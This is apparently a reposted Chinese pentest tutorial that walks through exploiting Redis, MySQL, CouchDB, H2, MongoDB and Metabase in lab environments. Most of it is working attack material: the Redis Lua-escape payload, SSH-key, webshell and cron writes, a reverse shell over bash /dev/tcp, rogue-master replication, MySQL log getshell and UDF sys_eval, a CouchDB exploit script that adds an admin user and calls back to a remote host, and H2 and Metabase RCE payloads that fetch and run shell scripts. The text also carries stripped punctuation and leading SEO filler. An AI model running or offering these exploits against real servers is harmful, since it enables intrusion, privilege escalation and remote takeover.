程序员自己做网站怎么赚钱,网站系统怎么用,网站开发有哪些软件,某学校网站的安全建设方案免责声明 本文仅供学习和研究使用,请勿使用文中的技术用于非法用途,任何人造成的任何负面影响,与本号及作者无关。 Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识#xff0c;那么什么是redis#xff1f;redis就是个数据库#xff… 免责声明 本文仅供学习和研究使用,请勿使用文中的技术用于非法用途,任何人造成的任何负面影响,与本号及作者无关。 Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识那么什么是redisredis就是个数据库常见端口为6379常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境也可以用vulfocus搭建一个环境可以两个都搭建因为一些攻击手法需要自己搭建的环境才能成功。 ubuntu 20.04docker docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP127.0.0.1 vulfocus/vulfocus 建议vulfocus最好搭建在云服务器上本机搭建的有的环境可能会复现不成功。 0x03漏洞复现 Redis Lua沙盒绕过 命令执行 CVE-2022-0543 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量该变量又允许访问任意 Lua 功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数即可获得io库再使用其执行命令 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量该变量又允许访问任意 Lua 功能 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数即可获得io库再使用其执行命令 代码如下 local io_l
package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0,
luaopen_io);local io io_l();local f io.popen(id, r);local res f:read(*a);f:close();return res payload如下 eval local io_l
package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0,
luaopen_io); local io io_l(); local f io.popen(id, r);
local res f:read(*a); f:close(); return res 0 漏洞复现 eval local io_l
package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0,
luaopen_io); local io io_l(); local f io.popen(ls, r);
local res f:read(*a); f:close(); return res 0 这里可以用another redis 这个个管理工具方便redis数据库使用 eval local io_l
package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0,
luaopen_io); local io io_l(); local f io.popen(find / -name
flag*, r); local res f:read(*a); f:close(); return res 0 未授权访问redis 未授权访问 CNVD-2015-07557 这个未授权访问存在很多而且面试也很常问实战也能遇见到。 攻击姿势常见有三种1写入公钥2写入webshell,3写入计划任务当然其中有不少细节我们需要去掌握。 1.linux写入公钥 利用前提 Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态 允许使用密钥登录即可远程写入一个公钥直接登录远程服务器 ssh-keygen -t rsacd /root/.ssh/(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) key.txtcat key.txt | redis-cli -h 目标IP -x set xxx 这里权限不够这个是vulfocus有问题 满足条件的话可以直接这样可以自己搭建一个redis环境做实验 具体搭建可参考 https://blog.csdn.net/qq_41210745/article/details/103305262 yes要改成no 环境启动接着 config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root目标IP 已经成功写入 进入该ubuntu查看 cd /root/.ssh/ 尝试SSH连接 ssh -i id_rsa root192.168.48.133 可以看到成功拿下 2.写入webshell 前提条件有可写权限存在web服务知道web路径 继续用该环境下尝试webshell写入 命令如下 FLUSHALL 使用这个清空之前的配置 前提条件web目录可以读写 config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test ?php phpinfo();? 设置写入文件代码set xxx \r\n\r\n?php phpinfo();?\r\n\r\n
换行防止执行失败bgsave 保存执行savechmod -R 777 /var/www/html/ 这里设置html尝试写入webshell 3.写计划任务反弹shell FLUSHALL 记得清空配置 利用条件Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态 环境依然是上面的配置环境 config set dir /var/spool/cronset yy \n\n\n* * * * * bash -i /dev/tcp/ip/端口
01\n\n\nconfig set dbfilename xsaveset yy nnn* * * * * bash -i
/dev/tcp/192.168.48.133/9999 01\n\n\n 注意 centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码所以导致命令执行失败 可以看到有乱码ubuntu并未正常执行 主从复制利用 https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行 redis-rogue-serve python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132 redis-rogue-getshell 这里记得要编译 cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c idpython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c find / -name flag* 实际情况中我们可以灵活运用exp.so文件不一定非得用脚本比如这种情况 天翼杯 考点反序列化redis主从复制RCE代码 ?phpclass a{public $code ;function __call($method,$args){eval($this-code);}// function __wakeup(){// $this-code ;// }}class b{function __destruct(){echo $this-a-a();}}$anew A();$bnew B();$a-codephpinfo();;$b-a$a;echo
serialize($b); 构造POP链子可以看到call魔术方法里面有eval函数那么需要构造链子触发到call魔术方法。 __call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后会自动调用该对象的__wakeup方法 这里__destruct方法调用了一个不存在的a方法那么会调用到__call方法 因为__wakeup方法中$this-code ;还有preg_match_all(/[BA]:(.*?):/s,$_REQUEST[poc],$ret);这里有过滤所以接下来要做到绕过__wakeup和正则这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过AB换成a,b其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。 如下O:1:b:1:{s:1:a;O:1:a:1:{s:4:code;s:10:phpinfo();;}}绕过wakeupO:1:b:2:{s:1:a;O:1:a:1:{s:4:code;s:10:phpinfo();;}} 这里无法执行system(ls 蚁剑连接$a-codeeval($_POST[a]);; 打开之后发现其泄露了redis的密码define(REDIS_PASS,you_cannot_guess_it);蚁剑插件连接上 使用EXP.so文件 MODULE LOAD /var/www/html/exp.so 然后就可以进行命令执行了 若有收获就点个赞吧 mysql 0x01mysql学习 MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用用的人数很多。 0x02环境搭建 这里演示用phpstudy搭建的环境然后安装phpmyadmin 0x03漏洞复现 日志文件包含getshell 利用前提 知道网站路径mysql版本大于5.0 利用条件 需要可读可写的权限也就是高权限账号 所用到的命令 show variables like %general%; 查看日志读写功能 SET GLOBAL general_logon开启日志读写功能 select basedir查看mysql所在的绝对路径 SHOW VARIABLES LIKE secure_file_priv;如果值为文件夹目录则只允许修改目录下的文件如果值为NULL则为禁止。 SET GLOBAL general_log_fileC:/phpstudy_pro/WWW/shell.php;修改日志文件路径 修改设置该为开启这样才能继续利用。 再次查询可以发现已经发生了改变 访问验证 select ; 总结如果SHOW VARIABLES LIKE secure_file_priv;为NULL则没办法使用into outfile 写文件那么可以开启日志修改日志文件路径和文件名为php然后执行一个带有一句话的查询语句完成getshell。 mysql udf提权 这里使用win10 phpstudy直接下个msyql就行了 udf提权是mysql的一种常见的提权方式。 什么是udf udf可以理解为用户自定义函数可以用udf增加一些函数在mysql里就能用这个函数了。 提权前提 获取mysql的控制权限。 mysql具有写入权限即secure_file_priv的值为空。 show global variables like%secure%;用这个查询 提权背景 拿到了mysql权限没拿到服务器权限可以通过mysql提权使其达到拿到服务器的权限 提权实验 实验版本mysql 5.5 操作系统win10 需要udf文件可以从sqlmap里获取或者msf中获取。 这里可以直接用国光师傅的写好udf16进制 https://www.sqlsec.com/tools/udf.html show global variables like%secure%; 如果不是空的话可以这样修改这个需要在mysql目录下的ini文件进行修改或者添加。 secure_file_priv然后重启服务。 如果是 MySQL 5.1 的版本必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。 这里我自己在目录下创建一个也可以用NTFS ADS方法创建目录但有可能不成功。 show variables like plugin%; 查询发现已经有了然后进行文件写入。 路径D:phpstudy_proExtensionsMySQL5.5.29libplugin 如果有Cant open shared library udf.dll切换成32位试试。 实战中不成功可以轮流尝试。 创建自定义函数并且调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.dll; select sys_eval(whoami); select sys_eval(dir); 发现已经成功并且是Administrator权限 couchdb数据库 漏洞介绍 ApacheCouchDB是一个开源数据库专注于易用性和成为完全拥抱web的数据库。它是一个使用JSON作为存储格式JavaScript作为查询语言MapReduce和HTTP作为API的NoSQL数据库。应用广泛如BBC用在其动态内容展示平台CreditSuisse用在其内部的商品部门的市场框架Meebo用在其社交平台web和应用程序。在2017年11月15日CVE-2017-12635和CVE-2017-12636披露利用 漏洞复现 CVE-2017-12635 PUT发包创建用户 选择内网映射端口为5984的抓包访问 http://192.168.48.133:54944/_utils/#login 这个为登陆应用 发包目的是增加用户可以用bp或者postman PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host:Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 110{type: user,name: vulhub,roles: [_admin],roles: [],password: vulhub} 成功添加用户 CVE-2017-12636 CVE-2017-12636 exp 命令执行 import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget http://your-ip:5984command rbsh -i /dev/tcp/10.0.0.1/443 01version 1session requests.session()session.headers {Content-Type: application/json}# session.proxies {# http: http://127.0.0.1:8085# }session.put(target /_users/org.couchdb.user:wooyun, data{type: user,name: wooyun,roles: [_admin],roles: [],password: wooyun})session.auth HTTPBasicAuth(wooyun, wooyun)command bash -c {echo,%s}|{base64,-d}|{bash,-i} %
base64.b64encode(command).decode()if version 1:session.put(target (/_config/query_servers/cmd),
datajson.dumps(command))else:host session.get(target
/_membership).json()[all_nodes][0]session.put(target
/_node/{}/_config/query_servers/cmd.format(host),
datajson.dumps(command))session.put(target /wooyun)session.put(target /wooyun/test, data{_id:
wooyuntest})if version 1:session.post(target /wooyun/_temp_view?limit10,
data{language:cmd,map:})else:session.put(target /wooyun/_design/test,
data{_id:_design/test,views:{wooyun:{map:}
},language:cmd}) h2database数据库 H2 是一个开源的嵌入式数据库引擎纯 java 实现的关系型数据库不受平台的限制。 未授权访问 发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE; 在JDBC URL输入这个语句点击connect即可未授权访问 RCE姿势 在VPS里面创建个sql文件然后远程加载利用服务。 re_shell.sqlCREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS //javascriptJava.type(java.lang.Runtime).getRuntime().exec(bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i});;bash -i /dev/tcp/ip/7888 01 远程加载姿势如下填入python启动的ip和端口 jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;INITRUNSCRIPT
FROM http://IP:port/re_shell.sql; mongodb数据库 大致介绍一下 MongoDB是一个基于分布式文件存储的数据库 由C语言编写旨在为WEB应用提供可扩展的高性能数据存储解决方案。 未授权访问漏洞 可以用msf检测 search mongodb 存在未授权访问漏洞 可以利用mongodb连接工具直接连接 metabase数据库分析 metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具 Metabase geojson任意文件读取漏洞 CVE-2021-41277 payload /api/geojson?urlfile:/etc/passwd Metabase 远程代码执行漏洞CVE-2023-38646 Metabase是一个开源的数据分析和可视化工具它可以帮助用户轻松地连接到各种数据源包括数据库、云服务和API然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。 这里使用vulhub的docker环境vulfocus可能有问题没复现成功 GET访问 /api/session/properties expPOST /api/setup/validate HTTP/1.1Host: your-ipContent-Type: application/json{token: token值,details:{is_on_demand: false,is_full_sync: false,is_sample: false,cache_ttl: null,refingerprint: false,auto_run_queries: true,schedules:{},details:{db:
zip:/app/metabase.jar!/sample-database.db;MODEMSSQLServer;TRACE_LEVEL_SYSTEM_OUT1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec(执行的命令)n$$--x,advanced-options: false,ssl: true},name: test,engine: h2}} 验证一下 python启动一个http服务然后exec执行curl ip:8899/1.txt python3 -m http.server 8899 验证成功 尝试反弹shell 未能成功反弹shell利用其他方法进行反弹shell可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell 创建个re_shell.sh内容如下 !/bin/shbash -c exec bash -i /dev/tcp/ip/6667 01执行 wget http://ip:port/re_shell.sh 执行 /bin/bash /tmp/re_shell.sh 成功反弹shell 原创稿件征集 征集原创技术文章中欢迎投递 投稿邮箱eduantvsion.com 文章类型黑客极客技术、信息安全热点安全研究分析等安全相关 通过审核并发布能收获200-800元不等的稿酬。 更多详情点我查看 年终福利来了戳阅读原文